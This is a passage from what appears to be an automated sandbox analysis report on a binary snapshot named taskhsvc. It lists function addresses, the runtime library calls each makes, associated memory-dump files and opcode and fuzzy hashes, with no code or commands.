                                          • Part of subcall function 00BC262A: __stack_chk_fail.LIBSSP-0 ref: 00BC2745
                                          • Part of subcall function 00C10D7D: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C1307F), ref: 00C10DD3
                                          • Part of subcall function 00C10D7D: __stack_chk_fail.LIBSSP-0 ref: 00C10E2D
                                        • abort.MSVCRT ref: 00C118A8
                                        • __stack_chk_fail.LIBSSP-0 ref: 00C119AB
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abort$strrchr
                                        • String ID: `3
                                        • API String ID: 797389190-3384622532
                                        • Opcode ID: d4594d0a770d21f7627b1acb76457d45da8b2894adb161fb3f8bf9f84486bd5f
                                        • Instruction ID: 307664b442939a4f2bf43bfbcbf0484df0906ff9f56a3e1b08fafa4302d1a8af
                                        • Opcode Fuzzy Hash: d4594d0a770d21f7627b1acb76457d45da8b2894adb161fb3f8bf9f84486bd5f
                                        • Instruction Fuzzy Hash: E04116B09083169FDB00EFA5D1557AEBBF0BF45304F05881DE9E49B281D778DA84EB62
                                        Function 00BE4071 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON
                                        Download Yara Rule
                                        APIs
                                        • abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BE5072), ref: 00BE4145
                                        • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BE5072), ref: 00BE41C6
                                          • Part of subcall function 00BE34DB: abort.MSVCRT ref: 00BE35A1
                                          • Part of subcall function 00BE34DB: memset.MSVCRT ref: 00BE35BC
                                          • Part of subcall function 00BE34DB: __stack_chk_fail.LIBSSP-0 ref: 00BE35CF
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        • abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BE5072), ref: 00BE419E
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abort$strrchr$memset
                                        • String ID: UQ
                                        • API String ID: 1279798642-827536826
                                        • Opcode ID: 53a6e70131f3e04f01553b83c75c38c40603a9bce6ee86a90d2a34f880baad92
                                        • Instruction ID: 26e42697f183d997f54d61fbdc433211955638f4ecf4e74f723097d32d181678
                                        • Opcode Fuzzy Hash: 53a6e70131f3e04f01553b83c75c38c40603a9bce6ee86a90d2a34f880baad92
                                        • Instruction Fuzzy Hash: 094198B4A046099FCB04EFA9C4859AEFBF1FF48340F018899E854AB355D774D941CF61
                                        Function 00D265E9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00D25CFA: abort.MSVCRT ref: 00D25D72
                                          • Part of subcall function 00D25CFA: abort.MSVCRT ref: 00D25DB1
                                          • Part of subcall function 00D25CFA: abort.MSVCRT ref: 00D25DF6
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D26762
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: abort$__stack_chk_fail
                                        • String ID: m
                                        • API String ID: 2908038143-1902112267
                                        • Opcode ID: c99a32b2d8ff2cc0ca15996277ff4aa25e2819b7b48537d050d64cff147cf688
                                        • Instruction ID: 800c234600eafdde14580830c132c6a3328d113c039b6495e940b4f5b0f33851
                                        • Opcode Fuzzy Hash: c99a32b2d8ff2cc0ca15996277ff4aa25e2819b7b48537d050d64cff147cf688
                                        • Instruction Fuzzy Hash: 5141B2B4A047199FCB00EFA8D585A9EBBF1FF48318F118859E498AB350D774E944CF62
                                        Function 00BE5005 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 97COMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_failabort
                                        • String ID: OS
                                        • API String ID: 3276312271-2970251794
                                        • Opcode ID: 68ba83b34b993d1facd75e365b75310832315189b7b64d87dcd10cb044bc1329
                                        • Instruction ID: c062075db74d4f0462d69271a6e50ff3ce369e823ee73545de0ee237bd7c8363
                                        • Opcode Fuzzy Hash: 68ba83b34b993d1facd75e365b75310832315189b7b64d87dcd10cb044bc1329
                                        • Instruction Fuzzy Hash: 0A416AB4A006198FCB04EFA9C584AAEBBF1FF48304F118899E854AB352D735ED418F65
                                        Function 00BC77B4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 82COMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
